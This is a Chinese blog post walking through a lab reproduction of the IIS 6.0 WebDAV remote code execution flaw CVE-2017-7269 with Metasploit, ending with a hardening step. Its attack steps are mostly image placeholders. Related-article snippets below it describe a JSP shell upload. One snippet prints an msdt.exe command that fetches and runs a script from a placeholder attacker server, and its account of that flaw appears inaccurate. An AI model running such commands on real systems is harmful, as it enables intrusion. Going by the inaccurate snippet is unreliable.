​cve-2017-7269（远程代码执行漏洞）复现

已于 2022-12-12 08:50:25 修改
阅读量1.1k 收藏 7
点赞数 3
分类专栏： 漏洞复现 文章标签： 安全 网络 web安全
于 2022-12-11 19:33:16 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/JK78__/article/details/128277686
版权

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

目录

漏洞介绍

cve_2017_7269漏洞属于高危漏洞，是由Zhiniang Peng和Chen Wu（华南理工大学信息安全实验室,计算机科学与工程学院）发现的。IIS 6.0开启Webdav服务的服务器被爆存在缓存区溢出漏洞导致远程代码随意执行，目前针对 Windows Server 2003 R2 可以稳定利用；

靶机

靶机：windows 2003 SP1

攻击机：liunx kali 2021

渗透准备

1.下载漏洞的攻击配套EXP文件
​​
​​​​​​​​​​​​​​​​在这里插入图片描述​​

2.把EXP文件重命名为（cve_2017_7269）

在这里插入图片描述

3.把EXP文件上传的msf进程中

在这里插入图片描述

​​​​

开始渗透

利用smf辅助平台，载入cve_2017_7269漏洞模块。

在这里插入图片描述

加固

关闭IIS下的WebDAV服务
在这里插入图片描述
在这里插入图片描述

熬空酒
关注
  • 3
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
复现CVE-2017-7269(IIS6.0远程代码执行)漏洞
记录并分享学习安全的知识点..
03-03 1900
前言： 今天小编挖到了一个高危漏洞，打进去以后，给的用户权限太低了，尝试了好久的提权。虽然最后没提权成功，起码也攻进去了，也是可看见系统盘所有目录下所有的关键资料，整理报告完成了也索性就记录一下趴！ 警告 请勿使用本文提到的内容违反法律。 本文不提供任何担保。 一、漏洞介绍 Windows Server 2003R2版本IIS6.0的WebDAV服务中的ScStoragePathFromUrl函数存在缓存区溢出漏洞，远程攻击者通过以“If: <http://”开头的长header PRO
IIS6.0漏洞之CVE-2017-7269 远程代码执行漏洞复现及Poc验证
7Riven's blog
12-06 3793
漏洞描述 CVE-2017-7269：开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行 漏洞产生的原因 在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞，在IIS 6.0处理 PROPFIND 指令的时候，由于对 url 的长度没有进行有效的长度控制和检查，导致执行memcpy对...
CVE-2017-7269(远程代码执行漏洞)
Picturej的博客
12-10 329
第一 iis 必须为6.0第二系统windows server2003msf框架使用cve-2017-7269如果没有的话，需要提前导入这个模块msfconsole配置相关信息进来发现权限很低需要进行提权发现了在c盘可以创建文件尝试上传文件来提权拿文件来提权查看当前用户权限，发现提权了。
探索网络安全的新边界：修复版MSF模块CVE-2017-7269漏洞利用工具
gitblog_00066的博客
06-18 420
探索网络安全的新边界：修复版MSF模块CVE-2017-7269漏洞利用工具 项目地址:https://gitcode.com/zcgonvh/cve-2017-7269 在网络安全的世界里，及时发现和修复漏洞至关重要。今天，我们要向您推介一个针对CVE-2017-7269的修复版Metasploit（MSF）模块，这是一个精心优化的工具，能帮助安全研究人员和管理员更有效地测试和防范Windows...
CVE-2017-12615（远程代码执行漏洞）
Biu_Biu_Bi的博客
04-07 1940
当 Tomcat 运行在 Windows 操作系统时，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。2、使用burpsuite抓包，修改GET为PUT上传方式，添加文件名1.jsp/，添加shell脚本。1、使用冰蝎v4.05生成jsp脚本。5、打开ip:8080，成功开启。4、测试成功上传Shell。
Jenkins CVE-2017-1000353远程代码执行漏洞复现
云舒的博客
09-09 970
Jenkins CVE-2017-1000353远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现利用及加固
热门推荐
正在成为 code ape
06-30 9万+
一、漏洞描述 IIS 6.0的WebDAV 有毛病 二、影响版本以及利用条件 Windows 2003 R2开启WebDAV服务的IIS6.0 三、漏洞环境搭建 1.Windows server 2003 R2 安装IIS服务,开启了WebDAV 2.Exp下载地址：https://github.com/zcgonvh/cve-2017-7269 3.IIS6.exe提权工具 pr.exe 4.3...
cve-2017-12617 tomcat远程代码执行漏洞复现测试
whatday的专栏
08-30 3502
0x00前情提要 Apache Tomcat团队10月3日宣布，如果配置了默认servlet，则在9.0.1（Beta），8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码（RCE）漏洞，CVE-2017-12617：远程代码执行漏洞。 只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件（如WebDAV中所使用的）。发现并阻止上传Jav
CVE-2017-7269（iis6.0远程代码执行漏洞复现）
Fly_鹏程万里
05-04 1万+
前言趁着有时间，没事干，无聊！所以就拿CVE-2017-7269做一个简单的漏洞复现实战演练！下面就对该漏洞进行简单的简介以及复现。漏洞描述漏洞编号：CVE-2017-7269发现人员：Zhiniang Peng和Chen Wu（华南理工大学信息安全实验室，计算机科学与工程学院）漏洞描述：IIS 6.0默认不开启WebDAV，一旦开启了WebDAV支持，安装了IIS6.0的服务器将可能受到该漏洞...
Samba 远程命令执行漏洞（CVE-2017-7494）
07-29 4204
Samba 远程命令执行漏洞（CVE-2017-7494）
CVE-2017-7269-Echo-PoC：CVE-2017-7269回显PoC，用于远程入侵检测。
03-02
CVE-2017-7269远程代码执行回显验证 我们团队对此次发布CVE-2017-7269漏洞的分析报告： ://ht-sec.org/cve-2017-7269-vulnerabilities/ DefaultPoC只能弹calc.exe ，现在修改成可以响应请求，命令格式为： CVE-2017...
CVE-2020-13925 Apache Kylin 远程命令执行漏洞.md
04-12
CVE-2020-13925 Apache Kylin 远程命令执行漏洞
鸿蒙系统开发【加解密】安全
2301_76813281的博客
08-02 508
本示例使用cryptoFramework接口的Cipher对象相关方法实现了字符串加解密算法，包括RSA加密算法与AES加密算法。
鸿蒙系统开发【加解密算法库框架】安全
最新发布
2301_76813281的博客
08-02 480
本示例使用@ohos.security.cryptoFramework相关接口实现了对文本文件的加解密、签名验签操作。
发送邮箱调用接口时需要注意哪些安全事项？
DengHua2203的博客
08-02 265
发送邮箱调用接口时，确保安全性是一个复杂而重要的任务。通过以上措施，可以显著提高接口的安全性。AokSend，发送邮箱调用接口，API与SMTP无缝对接，一键触发，邮件秒达，营销快人一步！
cve-2022-30190 msdt远程代码执行漏洞复现
09-10
CVE-2022-30190是一个针对Microsoft的漏洞，被称为msdt远程代码执行漏洞。该漏洞允许攻击者通过利用命令行工具"msdt.exe"的特定参数进行远程代码执行。以下是关于该漏洞的复现过程。 首先，我们需要使用攻击者控制的远程服务器，以便在受影响的目标系统上执行恶意代码。我们创建以下PHP脚本，将其上传到我们的远程服务器上： ``` <?php system('calc.exe'); ?> ``` 这段代码将在目标系统上执行计算器应用程序，然后我们将通过"msdt.exe"命令行工具的特定参数利用该漏洞。 在受影响的目标系统上，我们将打开命令提示符，并执行以下命令： ``` msdt.exe "http://your-remote-server.com/evil-script.php" /id "netwoCpl" /showUI ``` 上述命令将启动"msdt.exe"并使用指定的URL作为参数，同时还指定了"networkCpl"作为"msdt.exe"的标识符。最后，使用"/showUI"参数显示用户界面。 当目标系统执行此命令时，"msdt.exe"会检索远程服务器上的脚本文件，并尝试执行该脚本。由于脚本文件具有恶意代码，它将在目标系统上执行计算器应用程序。 这就是CVE-2022-30190 msdt远程代码执行漏洞的一个简单复现过程。然而，值得注意的是，这只是为了说明该漏洞的原理，实际的攻击可能需要更复杂的技术和步骤。为了保护系统安全，我们建议及时更新受影响的软件，以修补此漏洞。还应该维护良好的网络安全措施，以减少被利用的风险。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

熬空酒

V我50，让我见识你的实力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值